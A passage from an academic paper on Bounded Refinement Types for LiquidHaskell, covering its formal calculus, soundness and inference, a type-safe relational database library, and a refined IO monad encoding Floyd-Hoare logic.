extra (ghost) function parameters (cf. type class dictionaries), that
satisfy the bound-type. Crucially, each expression where a subtyp-
ing constraint would be generated (by plain refinement typing) is
wrapped with a “call” to the ghost to materialize the constraint at
values of interest. For example we elaborate compose into:

compose $chain f g x =
let t1 = g x

t2 = f t1
_ = $chain x t1 t2 -- materialize

in t2

In the elaborated version $chain is the ghost parameter corre-
sponding to the bound. As is standard [21], we perform ANF-
conversion to name intermediate values, and then wrap the function
output with a call to the ghost to materialize the bound’s constraint.
Consequently, the output of compose, namely t2, is checked to be
a subtype of the specified output type, in an environment strength-
ened with the bound’s constraint instantiated at x, t1 and t2. This
subtyping reduces to a quantifier free VC:

q x t1
⇒ p t1 t2
⇒ (q x t1 ⇒ p t1 t2 ⇒ r x t2)
⇒ v == t2 ⇒ r x v

whose first two antecedents are due to the types of t1 and t2 (via
the output types of g and f respectively), and the third comes from
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the call to $chain. The output value v has the singleton refinement
that states it equals to t2, and finally the VC states that the output
value v must be related to the input x via r. An SMT solver
validates this decidable VC easily, thereby verifying compose.

Our elaboration inserts materialization calls for all variables (of
the appropriate type) that are in scope at the given point. This could
introduce upto nk calls where k is the number of parameters in the
bound and n the number of variables in scope. In practice (e.g., in
compose) this number is small (e.g., 1) since we limit ourselves to
variables of the appropriate types.

To preserve semantics we ensure that none of these materializa-
tion calls can diverge, by carefully constraining the structure of the
arguments that instantiate the ghost functional parameters.

At Uses of Bounded Functions our elaboration uses the bound-
type to create lambdas with appropriate parameters that just return
true. For example, ex2 is elaborated to:

ex2 = compose (λ_ _ _ → true) incr incr

This elaboration seems too naı̈ve to be true: how do we ensure that
the function actually satisfies the bound type?

Happily, that is automatically taken care of by function sub-
typing. Recalling the translated type for compose, the elaborated
lambda (λ_ _ _ → true) is constrained to be a subtype of
ChainTy p q r. In particular, given the call site instantiation

p 7→ λy z → z == y + 1
q 7→ λx y → y == x + 1
r 7→ λx z → z == x + 2

this subtyping constraint reduces to the quantifier-free VC:

[[Γ]]⇒ true⇒ (z == y + 1)⇒ (y == x + 1)

⇒ (z == x + 2) (3)

where Γ contains assumptions about the various binders in scope.
The VC 3 is easily proved valid by an SMT solver, thereby verify-
ing the subtyping obligation defined by the bound, and hence, that
ex2 satisfies the given type.

3. Formalism
Next we formalize Bounded Refinement Types by defining a core
calculus λB and showing how it can be reduced to λP , the core
language of Abstract Refinement Types [27]. We start by defining
the syntax (§ 3.1) and semantics (§ 3.2) of λP and the syntax of
λB (§ 3.3). Next, we provide a translation from λB to λP (§ 3.4).
Then, we prove soundness by showing that our translation is se-
mantics preserving (§ 3.5). Finally, we describe how type inference
remains decidable in the presence of bounded refinements (§ 3.6).

3.1 Syntax of λP

We build our core language on top of λP , the language of Abstract
Refinement Types [27]. Figure 1 summarizes the syntax of λP , a
polymorphic λ-calculus extended with abstract refinements.

The Expressions of λP include the usual variables x, primitive
constants c, λ-abstraction λx : t.e, application e e, let bindings
let x : t = e in e, type abstraction Λα.e, and type application e [t].
(We add let-binders to λP from [27] as they can be reduced to
λ-abstractions in the usual way.) The parameter t in the type ap-
plication is a refinement type, as described shortly. Finally, λP in-
cludes refinement abstraction Λπ : t.e, which introduces a refine-
ment variable π (with its type t), which can appear in refinements
inside e, and the corresponding refinement application e [φ] that
substitutes an abstract refinement with the parametric refinement
φ, i.e., refinements r closed under lambda abstractions.

Expressions e ::= x | c | λx : t.e | e x
| let x : t = e in e
| Λα.e | e [t]
| Λπ : t.e | e [φ]

Constants c ::= true | false | crash
| 0 | 1 | −1 | . . .

Parametric Refinements φ ::= r | λx :b.φ

Predicates p ::= c | ¬p | p = p | . . .
Atomic Refinements a ::= p | π x

Refinements r ::= a | a ∧ r | a⇒ r

Basic Types b ::= Int | Bool | α
Types t ::= {v : b | r}

| {v : (x : t)→ t | r}
Bounded Types ρ ::= t

Schemata σ ::= ρ | ∀α.σ | ∀π : t.σ

Figure 1. Syntax of λP

Bounded Types ρ ::= t | {φ} ⇒ ρ

Expressions e ::= . . . | Λ{φ}.e | e{φ}

Figure 2. Extending Syntax of λP to λB

The Primitive Constants of λP include true, false, 0, 1, -1, etc..
In addition, we include a special untypable constant crash that
models “going wrong”. Primitive operations return a crash when
invoked with inputs outside their domain, e.g., when / is invoked
with 0 as the divisor, or when an assert is applied to false.

Atomic Refinements a are either concrete or abstract refine-
ments. A concrete refinement p is a boolean valued expression
(such as a constant, negation, equality, etc.) drawn from a strict
subset of the language of expressions which includes only terms
that (a) neither diverge nor crash, and (b) can be embedded into an
SMT decidable refinement logic including the quantifier free the-
ory of linear arithmetic and uninterpreted functions [29]. An ab-
stract refinement π x is an application of a refinement variable π
to a sequence of program variables. A refinement r is either a con-
junction or implication of atomic refinements. To enable inference,
we only allow implications to appear within bounds φ (§ 3.6).

The Types of λP written t include basic types, dependent func-
tions and schemata quantified over type and refinement variables α
and π respectively. A basic type is one of Int, Bool, or a type vari-
able α. A refined type t is either a refined basic type {v : b | r},
or a dependent function type {v : (x : t)→ t | r} where the pa-
rameter x can appear in the refinements of the output type. (We
include refinements for functions, as refined type variables can be
replaced by function types. However, typechecking ensures these
refinements are trivially true.) In λP bounded types ρ are just a
synonym for types t. Finally, schemata are obtained by quantifying
bounded types over type and refinement variables.

3.2 Semantics of λP

Figure 3 summarizes the static semantics of λP as described in
[27]. Unlike [27] that syntactically separates concrete (p) from
abstract (π x) refinements, here, for simplicity, we merge both
concrete and abstract refinements to atomic refinements a.

A type environment Γ is a sequence of type bindings x : σ. We
use environments to define three kinds of judgments:
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Well-Formedness Γ ` σ

Γ, v : b ` r : Bool

Γ ` {v : b | r}
WF-BASE

Γ ` r : Bool Γ ` tx Γ, x : tx ` t
Γ ` {v : (x : tx)→ t | r}

WF-FUN

Γ, π : t ` σ
Γ ` ∀π : t.σ

WF-ABS-π Γ ` σ
Γ ` ∀α.σ WF-ABS-α

Subtyping Γ ` σ1 � σ2

([[Γ]]⇒ [[r1]]⇒ [[r2]]) is valid
Γ ` {v : b | r1} � {v : b | r2}

�-BASE
Γ ` t2 � t1 Γ, x2 : t2 ` t′1[x2/x1] � t′2

Γ ` {v : (x1 : t1)→ t′1 | r1} � {v : (x2 : t2)→ t′2 | true}
�-FUN

Γ, π : t ` σ1 � σ2

Γ ` ∀π : t.σ1 � ∀π : t.σ2
�-RVAR

Γ ` σ1 � σ2

Γ ` ∀α.σ1 � ∀α.σ2
�-POLY

Type Checking Γ ` e : σ

Γ ` e : σ2 Γ ` σ2 � σ1 Γ ` σ1

Γ ` e : σ1
T-SUB

Γ ` ex : tx Γ, x : tx ` e : t Γ ` t
Γ ` let x := ex in e : t

T-LET

x : {v : b | r} ∈ Γ

Γ ` x : {v : b | v = x}
T-VAR-BASE

x : t ∈ Γ
Γ ` x : t

T-VAR
Γ ` c : tc (c)

T-CONST

Γ ` e1 : (x : tx)→ t Γ ` e2 : tx

Γ ` e1 e2 : t[e2/x]
T-APP

Γ, x : tx ` e : t Γ ` tx
Γ ` λx : tx.e : (x : tx)→ t

T-FUN
Γ, α ` e : σ

Γ ` Λα.e : ∀α.σ T-GEN

Γ ` e : ∀π : t.σ Γ ` λx : tx.r
′ : t

Γ ` e
[
λx : tx.r

′] : σ[λx : tx.r
′/π]

T-PINST
Γ, π : t ` e : σ Γ ` t
Γ ` Λπ : t.e : ∀π : t.σ

T-PGEN
Γ ` e : ∀α.σ Γ ` t

Γ ` e [τ ] : σ[t/α]
T-INST

Figure 3. Static Semantics: Well-formedness, Subtyping and Type Checking

• Well-formedness judgments (Γ ` σ) state that a type schema
σ is well-formed under environment Γ. That is, the judgment
states that the refinements in σ are boolean expressions in the
environment Γ.

• Subtyping judgments (Γ ` σ1 � σ2) state that the type schema
σ1 is a subtype of the type schema σ2 under environment Γ.
That is, the judgment states that when the free variables of σ1

and σ2 are bound to values described by Γ, the values described
by σ1 are a subset of those described by σ2.

• Typing judgments (Γ ` e : σ) state that the expression e has
the type schema σ under environment Γ. That is, the judgment
states that when the free variables in e are bound to values de-
scribed by Γ, the expression e will evaluate to a value described
by σ.

The Well-formedness rules check that the concrete and abstract
refinements are indeed Bool-valued expressions in the appropriate
environment. The key rule is WF-BASE, which checks that the
refinement r is boolean.

The Subtyping rules stipulate when the set of values described
by schema σ1 is subsumed by (i.e., contained within) the values
described by σ2. The rules are standard except for �-BASE, which
reduces subtyping of basic types to validity of logical implications,
by translating the refinements r and the environment Γ into logical
formulas:

[[r]]
.
= r [[Γ]]

.
=
∧
{r[x/v] | (x, {v : b | r}) ∈ Γ}

Recall that we ensure that the refinements r belong to a decidable
logic so that validity checking can be performed by an off-the-self
SMT solver.

Type Checking Rules are standard except for T-PGEN and T-
PINST, which pertain to abstraction and instantiation of abstract
refinements. The rule T-PGEN is the same as T-FUN: we simply
check the body e in the environment extended with a binding
for the refinement variable π. The rule T-PINST checks that the
concrete refinement is of the appropriate (unrefined) type τ , and
then replaces all (abstract) applications of π inside σ with the
appropriate (concrete) refinement r′ with the parameters x replaced
with arguments at that application. In [27] we prove the following
soundness result for λP which states that well-typed programs
cannot crash:

Lemma (Soundness of λP [27]). If ∅ ` e : σ then e 6↪→?
P crash.

3.3 Syntax of λB

Figure 2 shows how we obtain the syntax for λB by extending the
syntax of λP with bounded types.

The Types of λB extend those of λP with bounded types ρ, which
are the types t guarded by bounds φ.

The Expressions of λB extend those of λP with abstraction over
bounds Λ{φ}.e and application of bounds e{φ}. Intuitively, if an
expression e has some type ρ then Λ{φ}.e has the type {φ} ⇒ ρ.
We include an explicit bound application form e{φ} to simplify the
formalization; these applied bounds are automatically synthesized
from the type of e, and are of the form λx :ρ.true.

Notation. We write b, b〈π x〉, {v : b〈π x〉 | r} to abbreviate
{v : b | true}, {v : b | π x v}, {v : b | r ∧ π x v} respectively. We
say a type or schema is non-refined if all the refinements in it are
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true. We get the shape of a type t (i.e., the System-F type) by the
function Shape(t) defined:

Shape({v : b | r}) .
= b

Shape({v : (x : t1)→ t2 | r})
.
= Shape(t1)→ Shape(t2)

3.4 Translation from λB to λP

Next, we show how to translate a term from λB to one in λP .
We assume, without loss of generality that the terms in λB are in
Administrative Normal Form (i.e., all applications are to variables.)

Bounds Correspond To Functions that explicitly “witness” the
fact that the bound constraint holds at a given set of “input” values.
That is we can think of each bound as a universally quantified re-
lationship between various (abstract) refinements; by “calling” the
function on a set of input values x1, . . . , xn, we get to instantiate
the constraint for that particular set of values.

Bound Environments Φ are used by our translation to track the
set of bound-functions (names) that are in scope at each program
point. These names are distinct from the regular program variables
that will be stored in Variable Environments Γ. We give bound
functions distinct names so that they cannot appear in the regular
source, only in the places where calls are inserted by our trans-
lation. The translation ignores refinements entirely; both environ-
ments map their names to their non-refined types.

The Translation is formalized in Figure 4 via a relation Γ; Φ `
e  e′, that translates the expression e in λB into e′ in λP . Most
of the rules in figure 4 recursively translate the sub-expressions.
Types that appear inside expressions are syntactically restricted to
not contain bounds, thus types inside expressions do not require
translation. Here we focus on the three interesting rules:

1. At bound abstractions Λ{φ}.e we convert the bound φ into a
bound-function parameter of a suitable type,

2. At variable binding sites i.e., λ- or let-bindings, we use the
bound functions to materialize the bound constraints for all the
variables in scope after the binding,

3. At bound applications e{φ} we provide regular functions that
witness that the bound constraints hold.

1. Rule CABS translates bound abstractions Λ{φ}.e into a plain
λ-abstraction. In the translated expression λf :〈|φ|〉.e′ the bound
becomes a function named f with type 〈|φ|〉 defined:

〈|λx :b.φ|〉 .
= (x : b)→ 〈|φ|〉

〈|r|〉 .
= {v : Bool | r}

That is, 〈|φ|〉 is a function type whose final output carries the refine-
ment corresponding to the constraint in φ. Note that the translation
generates a fresh name f for the bound function (ensuring that it
cannot be used in the regular code) and saves it in the bound envi-
ronment Φ to let us materialize the bound constraint when translat-
ing the body e of the abstraction.

2. Rules FUN and LET materialize bound constraints at variable
binding sites (λ-abstractions and let-bindings respectively.) If we
view the bounds as universally quantified constraints over the (ab-
stract) refinements, then our translation exhaustively and eagerly
instantiates the constraints at each point that a new binder is in-
troduced into the variable environment, over all the possible can-
didate sets of variables in scope at that point. The instantiation is

Variable Environment Γ ::= ∅ | Γ, x :τ

Bound Environment Φ ::= ∅ | Φ, x :τ

Translation Γ; Φ ` e e

Γ; Φ ` x x
VAR

Γ; Φ ` c c
CON

Γ′ = Γ, x :Shape(t) Γ′; Φ ` e e′

Γ; Φ ` λx : t.e λx : t.Inst(Γ′,Φ, e′)
FUN

Γ; Φ ` ex  e′x Γ′ = Γ, x :Shape(t) Γ′; Φ ` e e′

Γ; Φ ` let x : t = ex in e let x :τ = e′x in Inst(Γ′,Φ, e′)
LET

Γ; Φ ` e1  e′1 Γ; Φ ` e2  e′2

Γ; Φ ` e1 e2  e′1 e
′
2

APP

Γ; Φ ` e e′

Γ; Φ ` Λα.e Λα.e′
TABS

Γ; Φ ` e e′

Γ; Φ ` e [t] e′ [t]
TAPP

Γ; Φ ` e e′

Γ; Φ ` Λπ : t.e Λπ : t.e′
PABS

Γ; Φ ` e1  e′2 Γ; Φ ` e1  e′2

Γ; Φ ` e1 [e2] e′1 [e′2]
PAPP

fresh f Γ; Φ, f :Shape(〈|φ|〉) ` e e′

Γ; Φ ` Λ{φ}.e λf :〈|φ|〉.e′
CABS

Γ; Φ ` e e′

Γ; Φ ` e{φ} e′ Const(φ)
CAPP

Figure 4. Translation Rules from λB to λP

performed by Inst(Γ,Φ, e)

Inst(Γ,Φ, e)
.
= Wrap(e, Instances(Γ,Φ))

Wrap(e, {e1, . . . , en})
.
= let t1 = e1 in . . . let tn = en in e

(where ti are fresh Bool binders)

Instances(Γ,Φ)
.
= { f x | f :τ ← Φ, x : ← Γ

, Γ, f :τ `B f x :Bool}
The function takes the environments Γ and Φ, an expression e and
a variable x of type t and uses let-bindings to materialize all the
bound functions in Φ that accept the variable x. Here, Γ `B e :τ is
the standard typing derivation judgment for the non-refined System
F and so we elide it for brevity.

3. Rule CAPP translates bound applications e{φ} into plain λ
abstractions that witness that the bound constraints hold. That is, as
within e, bounds are translated to a bound function (parameter) of
type 〈|φ|〉, we translate φ into a λ-term that, via subtyping must have
the required type 〈|φ|〉. We construct such a function via Const(φ)
that depends only on the shape of the bound, i.e., the non-refined
types of its parameters (and not the actual constraint itself).

Const(r)
.
= true

Const(λx :b.φ)
.
= λx :b.Const(φ)

This seems odd: it is simply a constant function, how can it possi-
bly serve as a bound? The answer is that subtyping in the translated
λP term will verify that in the context in which the above con-
stant function is created, the singleton true will indeed carry the
refinement corresponding to the bound constraint, making this syn-
thesized constant function a valid realization of the bound function.
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Recall that in the example ex2 of the overview (§ 2.4) the subtyping
constraint that decides is the constant true is a valid bound reduces
to the equation 3 that is a tautology.

3.5 Soundness

The Small-Step Operational Semantics of λB are defined by
extending a similar semantics for λP which is a standard call-
by-value calculus where abstract refinements are boolean valued
functions [27]. Let ↪→P denote the transition relation defining the
operational semantics of λP and ↪→?

P denote the reflexive transitive
closure of ↪→P . We thus obtain the transition relation ↪→B :

(Λ{φ}.e){φ} ↪→B e e ↪→B e′, if e ↪→P e′

Let ↪→?
B denote the reflexive transitive closure of ↪→B .

The Translation is Semantics Preserving in the sense that if a
source term e of λB reduces to a constant then the translated variant
of e′ also reduces to the same constant:

Lemma. If ∅; ∅ ` e e′ and e ↪→?
B c then e′ ↪→?

P c.

The Soundness of λB follows by combining the above Semantics
Preservation Lemma with the soundness of λP .

To Typecheck a λB program e we translate it into a λP program
e′ and then type check e′; if the latter check is safe, then we are
guaranteed that the source term e will not crash:

Theorem (Soundness). If ∅; ∅ ` e  e′ and ∅ ` e′ : σ then
e 6↪→?

B crash.

3.6 Inference

A critical feature of bounded refinements is that we can au-
tomatically synthesize instantiations of the abstract refinements
by: (1) generating templates corresponding to the unknown types
where fresh variables κ denote the unknown refinements that an
abstract refinement parameter π is instantiated with, (2) generating
subtyping constraints over the resulting templates, and (3) solving
the constraints via abstract interpretation.

Inference Requires Monotonic Constraints. Abstract interpreta-
tion only works if the constraints are monotonic [5], which in this
case means that the κ variables, and correspondingly, the abstract
refinements π must only appear in positive positions within refine-
ments (i.e., not under logical negations). The syntax of refinements
shown in Figure 1 violates this requirement via refinements of the
form π x⇒ r.

We restrict implications to bounds i.e., prohibit them from ap-
pearing elsewhere in type specifications. Consequently, the impli-
cations only appear in the output type of the (first order) “ghost”
functions that bounds are translated to. The resulting subtyping
constraints only have implications inside super-types, i.e., as:

Γ ` {v:b | a} � {v:b | a1 ⇒ · · · ⇒ an ⇒ aq}

By taking into account the semantics of subtyping, we can push the
antecedents into the environment, i.e., transform the above into an
equivalent constraint in the form:

Γ,
{
x1:b1 | a′1

}
, . . . ,

{
xn:bn | a′n

}
`
{
v:b | a′

}
�
{
v:b | a′q

}
where all the abstract refinements variables π (and hence instance
variables κ) appear positively, ensuring that the constraints are
monotonic, hence permitting inference via Liquid Typing [21].

Title Director Year Star
“Birdman” “Iñárritu” 2014 8.1
“Persepolis” “Paronnaud” 2007 8.0

Figure 5. Example Table of Movies

4. A Refined Relational Database
Next, we use bounded refinements to develop a library for relational
algebra, which we use to enable generic, type safe database queries.
A relational database stores data in tables, that are a collection of
rows, which in turn are records that represent a unit of data stored
in the table. The tables’s schema describes the types of the values in
each row of the table. For example, the table in Figure 5 organizes
information about movies, and has the schema:

Title:String , Dir:String , Year:Int , Star:Double

First, we show how to write type safe extensible records that
represent rows, and use them to implement database tables (§ 4.1).
Next, we show how bounds let us specify type safe relational
operations and how they may be used to write safe database
queries (§ 4.2).

4.1 Rows and Tables

We represent the rows of a database with dictionaries, which are
maps from a set of keys to values. In the sequel, each key corre-
sponds to a column, and the mapped value corresponds to a valua-
tion of the column in a particular row.

A dictionary Dict <r> k v maps a key x of type k to a value of
type v that satisfies the property r x

type Range k v = k → v → Bool

data Dict k v <r :: Range k v> = D {
dkeys :: [k]

, dfun :: x:{k | x ∈ elts dkeys} → v<r x>
}

Each dictionary d has a domain dkeys i.e., the list of keys for which
d is defined and a function dfun that is defined only on elements x
of the domain dkeys. For each such element x, dfun returns a value
that satisfies the property r x.

Propositions about the theory of sets can be decided efficiently
by modern SMT solvers. Hence we use such propositions within
refinements [28]. The measures (logical functions) elts and keys
specify the set of keys in a list and a dictionary respectively:

elts :: [a] → Set a
elts ([]) = ∅
elts (x:xs) = {x} ∪ elts xs

keys :: Dict k v → Set k
keys d = elts (dkeys d)

Domain and Range of dictionaries. In order to precisely define
the domain (e.g., columns) and range (e.g., values) of a dictionary
(e.g., row), we define the following aliases:

type RD k v <dom :: Dom k v, rng :: Range k v>
= {v:Dict <rng > k v | dom v}

type Dom k v = Dict k v → Bool

We may instantiate dom and rng with predicates that precisely
describe the values contained with the dictionary. For example,

55



RD < λd → keys d == {"x"}
, λk v→ 0 < v > String Int

describes dictionaries with a single field "x" whose value (as deter-
mined by dfun) is stricly greater than 0. We will define schemas by
appropriately instantiating the abstract refinements dom and rng.

An empty dictionary has an empty domain and a function that
will never be called:

empty :: RD <emptyRD , rFalse > k v
empty = D [] (λx → error "calling empty")

emptyRD = λd → keys d == ∅
rFalse = λk v → false

We define singleton maps as dependent pairs x := y which de-
note the mapping from x to y:

data P k v <r :: Range k v>
= (:=) {pk :: k, pv :: v<r pk >}

Thus, key := val has type P<r> k v only if r key val.

A dictionary may be extended with a singleton binding (which
maps the new key to its new value).

(+=) :: bind:P<r> k v
→ dict:RD<pTrue , r> k v
→ RD <addKey (pk bind) dict , r> k v

(k := v) += (D ks f)
= D (k:ks)

(λi → if i == k then v else f i)

addKey = λk d d’ → keys d’ == {k} ∪ keys d
pTrue = λ_ → true

Thus, (k := v) += d evaluates to a dictionary d’ that extends d
with the mapping from k to v. The type of (+=) constrains the
new binding bind, the old dictionary dict and the returned value
to have the same range invariant r. The return type states that the
output dictionary’s domain is that of the domain of dict extended
by the new key (pk bind).

To model a row in a table i.e., a schema, we define the unrefined
(Haskell) type Schema, which is a dictionary mapping Strings, i.e.,
the names of the fields of the row, to elements of some universe
Univ containing Int, String and Double. (A closed universe is not
a practical restriction; most databases support a fixed set of types.)

data Univ = I Int | S String | D Double

type Schema = RD String Univ

We refine Schema with concrete instantiations for dom and rng,
in order to recover precise specifications for a particular database.
For example, MovieSchema is a refined Schema that describes the
rows of the Movie table in Figure 5:

type MovieSchema = RD <md, mr> String Univ

md = λd →
keys d={"year","star","dir","title"}

mr = λk v →
(k = "year" ⇒ isI v && 1888 < toI v)

&& (k = "star" ⇒ isD v && 0 ≤ toD v ≤ 10)
&& (k = "dir" ⇒ isS v)
&& (k = "title" ⇒ isS v)

isI (I _) = True

isI _ = False

toI :: {v: Univ | isI v} → Int
toI (I n) = n

...

The predicate md describes the domain of the movie schema, re-
stricting the keys to exactly "year", "star", "dir", and "title".
The range predicate mr describes the types of the values in the
schema: a dictionary of type MovieSchema must map "year" to
an Int, "star" to a Double, and "dir" and "title" to Strings.
The range predicate may be used to impose additional constraints
on the values stored in the dictionary. For instance, mr restricts the
year to be not only an integer but also greater than 1888.

We populate the Movie Schema by extending the empty dictio-
nary with the appropriate pairs of fields and values. For example,
here are the rows from the table in Figure 5

movie1 , movie2 :: MovieSchema
movie1 = ("title" := S "Persepolis")

+= ("dir" := S "Paronnaud")
+= ("star" := D 8)
+= ("year" := I 2007)
+= empty

movie2 = ("title" := S "Birdman")
+= ("star" := D 8.1)
+= ("dir" := S "Inarritu")
+= ("year" := I 2014)
+= empty

Typing movie1 (and movie2) as MovieSchema boils down
to proving: That keys movie1 = {"year", "star", "dir",
"title"}; and that each key is mapped to an appropriate value
as determined by mr. For example, declaring movie1’s year to be
I 1888 or even misspelling "dir" as "Dir" will cause the movie1
to become ill-typed. As the (sub)typing relation depends on logical
implication (unlike in HList based approaches [12]) key ordering
does not affect type-checking; in movie1 the star field is added be-
fore the director, while movie2 follows the opposite order.

Database Tables are collections of rows, i.e., collections of re-
fined dictionaries. We define a type alias RT s (Refined Table) for
the list of refined dictionaries from the field type String to the
Universe.

type RT (s :: {dom::TDom , rng:: TRange })
= [RD <s.dom , s.rng > String Univ]

type TDom = Dom String Univ
type TRange = Range String Univ

For brevity we pack both the domain and the range refinements
into a record s that describes the schema refinement; i.e., each row
dictionary has domain s.dom and range s.rng.

For example, the table from Figure 5 can be represented as a
type MoviesTable which is an RT refined with the domain and
range md and mr described earlier (§ 4.1):

type MoviesTable = RT {dom = md, rng = mr}

movies :: MoviesTable
movies = [movie1 , movie2]

4.2 Relational Algebra

Next, we describe the types of the relational algebra operators
which can be used to manipulate refined rows and tables. For space
reasons, we show the types of the basic relational operators; their
(verified) implementations can be found online [24].
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union :: RT s → RT s → RT s
diff :: RT s → RT s → RT s
select :: (RD s → Bool) → RT s → RT s
project :: ks:[ String] → RTSubEqFlds ks s

→ RTEqFlds ks s
product :: ( Disjoint s1 s2, Union s1 s2 s

, Range s1 s, Range s2 s)
⇒ RT s1 → RT s2 → RT s

union and diff compute the union and difference, respectively
of the (rows of) two tables. The types of union and diff state that
the operators work on tables with the same schema s and return a
table with the same schema.

select takes a predicate p and a table t and filters the rows of
t to those which that satisfy p. The type of select ensures that p
will not reference columns (fields) that are not mapped in t, as the
predicate p is constrained to require a dictionary with schema s.

project takes a list of String fields ks and a table t and projects
exactly the fields ks at each row of t. project’s type states that for
any schema s, the input table has type RTSubEqFlds ks s i.e., its
domain should have at least the fields ks and the result table has
type RTEqFlds ks s, i.e., its domain has exactly the elements ks.

type RTSubEqFlds ks s
= RT s{dom = λz → elts ks ⊆ keys z}

type RTEqFlds ks s
= RT s{dom = λz → elts ks == keys z}

The range of the argument and the result tables is the same and
equal to s.rng.

product takes two tables as input and returns their (Cartesian)
product. It takes two Refined Tables with schemata s1 and s2
and returns a Refined Table with schema s. Intuitively, the output
schema is the “concatenation” of the input schema; we formalize
this notion using bounds: (1) Disjoint s1 s2 says the domains of
s1 and s2 should be disjoint, (2) Union s1 s2 s says the domain
of s is the union of the domains of s1 and s2, (3) Range s1 s (resp.
Range s2 s2) says the range of s1 should imply the result range
s; together the two imply the output schema s preserves the type of
each key in s1 or s2.

bound Disjoint s1 s2 = λx y →
s1.dom x ⇒ s2.dom y ⇒ keys x ∩ keys y == ∅

bound Union s1 s2 s = λx y v →
s1.dom x ⇒ s2.dom y

⇒ keys v == keys x ∪ keys y
⇒ s.dom v

bound Range si s = λx k v →
si.dom x ⇒ k ∈ keys x ⇒ si.rng k v

⇒ s.rng k v

Thus, bounded refinements enable the precise typing of re-
lational algebra operations. They let us describe precisely when
union, intersection, selection, projection and products can be com-
puted, and let us determine, at compile time the exact “shape” of
the resulting tables.

We can query Databases by writing functions that use the rela-
tional algebra combinators. For example, here is a query that re-
turns the “good” titles – with more than 8 stars – from the movies
table 1

1 More example queries can be found online [24]

good_titles = project ["title"] $ select (λd →
toDouble (dfun d $ "star") > 8

) movies

Finally, note that our entire library – including records, tables,
and relational combinators – is built using vanilla Haskell i.e., with-
out any type level computation. All schema reasoning happens at
the granularity of the logical refinements. That is if the refinements
are erased from the source, we still have a well-typed Haskell pro-
gram but of course, lose the safety guarantees about operations
(e.g., “dynamic” key lookup) never failing at run-time.

5. A Refined IO Monad
Next, we illustrate the expressiveness of Bounded Refinements
by showing how they enable the specification and verification of
stateful computations. We show how to (1) implement a refined
state transformer (RIO) monad, where the transformer is indexed
by refinements corresponding to pre- and post-conditions on the
state (§ 5.1), (2) extend RIO with a set of combinators for imperative
programming, i.e., whose types precisely encode Floyd-Hoare style
program logics (§ 5.2) and (3) use the RIO monad to write safe
scripts where the type system precisely tracks capabilities and
statically ensures that functions only access specific resources (§ 6).

5.1 The RIO Monad

The RIO data type describes stateful computations. Intuitively, a
value of type RIO a denotes a computation that, when evaluated
in an input World produces a value of type a (or diverges) and a
potentially transformed output World. We implement RIO a as an
abstractly refined type (as described in [27])

type Pre = World → Bool
type Post a = World → a → World → Bool

data RIO a <p :: Pre , q :: Post a> = RIO {
runState :: w:World <p> → (x:a, World <q w x>)

}

That is, RIO a is a function World→(a, World), where World is
a primitive type that represents the state of the machine i.e., the
console, file system, etc. This indexing notion is directly inspired
by the method of [8] (also used in [16]).

Our Post-conditions are Two-State Predicates that relate the
input- and output- world (as in [16]). Classical Floyd-Hoare logic,
in contrast, uses assertions which are single-state predicates. We
use two-states to smoothly account for specifications for stateful
procedures. This increased expressiveness makes the types slightly
more complex than a direct one-state encoding which is, of course
also possible with bounded refinements.

An RIO computation is parameterized by two abstract refine-
ments: (1) p :: Pre, which is a predicate over the input world,
i.e., the input world w satisfies the refinement p w; and (2) q ::
Post a, which is a predicate relating the output world with the in-
put world and the value returned by the computation, i.e., the output
world w’ satisfies the refinement q w x w’ where x is the value re-
turned by the computation. Next, to use RIO as a monad, we define
bind and return functions for it, that satisfy the monad laws.

The return operator yields a pair of the supplied value z and the
input world unchanged:

return :: z:a → RIO <p, ret z> a
return z = RIO $ λw → (z, w)

ret z = λw x w’ → w’ == w && x == z
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The type of return states that for any precondition p and any
supplied value z of type a, the expression return z is an RIO
computation with precondition p and a post-condition ret z. The
postcondition states that: (1) the output World is the same as the
input, and (2) the result equals to the supplied value z. Note that as
a consequence of the equality of the two worlds and congruence,
the output world w’ trivially satisfies p w’.

The >>= Operator is defined in the usual way. However, to type
it precisely, we require bounded refinements.

( >>= ) :: (Ret q1 r, Seq r q1 p2, Trans q1 q2 q)
⇒ m:RIO <p, q1> a
→ k:(x:a<r> → RIO <p2 x, q2 x> b)
→ RIO <p, q> b

(RIO g) >>= f = RIO $ λx →
case g x of { (y, s) → runState (f y) s }

The bounds capture various sequencing requirements (c.f. the
Floyd-Hoare rules of consequence). First, the output of the first ac-
tion m, satisfies the refinement required by the continuation k;

bound Ret q1 r = λw x w’ → q1 w x w’ ⇒ r x

Second, the computations may be sequenced, i.e., the postcondition
of the first action m implies the precondition of the continuation k
(which may be dependent upon the supplied value x):

bound Seq q1 p2 = λw x w’ →
q1 w x w’ ⇒ p2 x w’

Third, the transitive composition of the two computations, implies
the final postcondition:

bound Trans q1 q2 q = λw x w’ y w’’ →
q1 w x w’ ⇒ q2 x w’ y w’’ ⇒ q w y w’’

Both type signatures would be impossible to use if the program-
mer had to manually instantiate the abstract refinements (i.e., pre-
and post-conditions.) Fortunately, Liquid Type inference generates
the instantiations making it practical to use LIQUIDHASKELL to
verify stateful computations written using do-notation.

5.2 Floyd-Hoare Logic in the RIO Monad

Next, we use bounded refinements to derive an encoding of Floyd-
Hoare logic, by showing how to read and write (mutable) variables
and typing higher order ifM and whileM combinators.

We Encode Mutable Variables as fields of the World type. For
example, we might encode a global counter as a field:

data World = { ... , ctr :: Int , ... }

We encode mutable variables in the refinement logic using Mc-
Carthy’s select and update operators for finite maps and the as-
sociated axiom:

select :: Map k v → k → v
update :: Map k v → k → v → Map k v

∀ m, k1 , k2 , v.
select (update m k1 v) k2

== (if k1 == k2 then v else select m k2 v)

The quantifier free theory of select and update is decidable and
implemented in modern SMT solvers [1].

We Read and Write Mutable Variables via suitable “get” and
“set” actions. For example, we can read and write ctr via:

getCtr :: RIO <pTrue , rdCtr > Int
getCtr = RIO $ λw → (ctr w, w)

setCtr :: Int → RIO <pTrue , wrCtr n> ()
setCtr n = RIO $ λw → ((), w { ctr = n })

Here, the refinements are defined as:

pTrue = λw → True
rdCtr = λw x w’ → w’ == w && x == select w ctr
wrCtr n = λw _ w’ → w’ == update w ctr n

Hence, the post-condition of getCtr states that it returns the current
value of ctr, encoded in the refinement logic with McCarthy’s
select operator while leaving the world unchanged. The post-
condition of setCtr states that World is updated at the address
corresponding to ctr, encoded via McCarthy’s update operator.

The ifM combinator takes as input a cond action that returns a
Bool and, depending upon the result, executes either the then or
else actions. We type it as:

bound Pure g = λw x v →(g w x v ⇒ v == w)
bound Then g p1 = λw v → (g w True v ⇒ p1 v)
bound Else g p2 = λw v → (g w False v ⇒ p2 v)

